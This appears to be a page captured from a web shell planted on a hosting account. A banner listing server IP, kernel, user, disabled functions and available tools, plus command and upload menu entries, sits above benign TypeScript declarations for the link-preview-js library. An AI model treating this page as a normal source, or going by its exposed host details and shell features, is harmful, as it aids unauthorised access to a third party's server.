Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/link-preview-js/build/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
interface ILinkPreviewOptions { headers?: Record<string, string>; imagesPropertyType?: string; proxyUrl?: string; timeout?: number; followRedirects?: `follow` | `error` | `manual`; resolveDNSHost?: (url: string) => Promise<string>; handleRedirects?: (baseURL: string, forwardedURL: string) => boolean; } interface IPreFetchedResource { headers: Record<string, string>; status?: number; imagesPropertyType?: string; proxyUrl?: string; url: string; data: string; } /** * Parses the text, extracts the first link it finds and does a HTTP request * to fetch the website content, afterwards it tries to parse the internal HTML * and extract the information via meta tags * @param text string, text to be parsed * @param options ILinkPreviewOptions */ export declare function getLinkPreview(text: string, options?: ILinkPreviewOptions): Promise<{ url: string; title: string; siteName: string | undefined; description: string | undefined; mediaType: string; contentType: string | undefined; images: string[]; videos: { url: string | undefined; secureUrl: string | null | undefined; type: string | null | undefined; width: string | undefined; height: string | undefined; }[]; favicons: string[]; } | { charset: string | null; url: string; mediaType: string; contentType: string; favicons: string[]; } | { charset: string | null; url: string; title: string; siteName: string | undefined; description: string | undefined; mediaType: string; contentType: string | undefined; images: string[]; videos: { url: string | undefined; secureUrl: string | null | undefined; type: string | null | undefined; width: string | undefined; height: string | undefined; }[]; favicons: string[]; }>; /** * Skip the library fetching the website for you, instead pass a response object * from whatever source you get and use the internal parsing of the HTML to return * the necessary information * @param response Preview Response * @param options IPreviewLinkOptions */ export declare function getPreviewFromContent(response: IPreFetchedResource, options?: ILinkPreviewOptions): Promise<{ url: string; title: string; siteName: string | undefined; description: string | undefined; mediaType: string; contentType: string | undefined; images: string[]; videos: { url: string | undefined; secureUrl: string | null | undefined; type: string | null | undefined; width: string | undefined; height: string | undefined; }[]; favicons: string[]; } | { charset: string | null; url: string; mediaType: string; contentType: string; favicons: string[]; } | { charset: string | null; url: string; title: string; siteName: string | undefined; description: string | undefined; mediaType: string; contentType: string | undefined; images: string[]; videos: { url: string | undefined; secureUrl: string | null | undefined; type: string | null | undefined; width: string | undefined; height: string | undefined; }[]; favicons: string[]; }>; export {};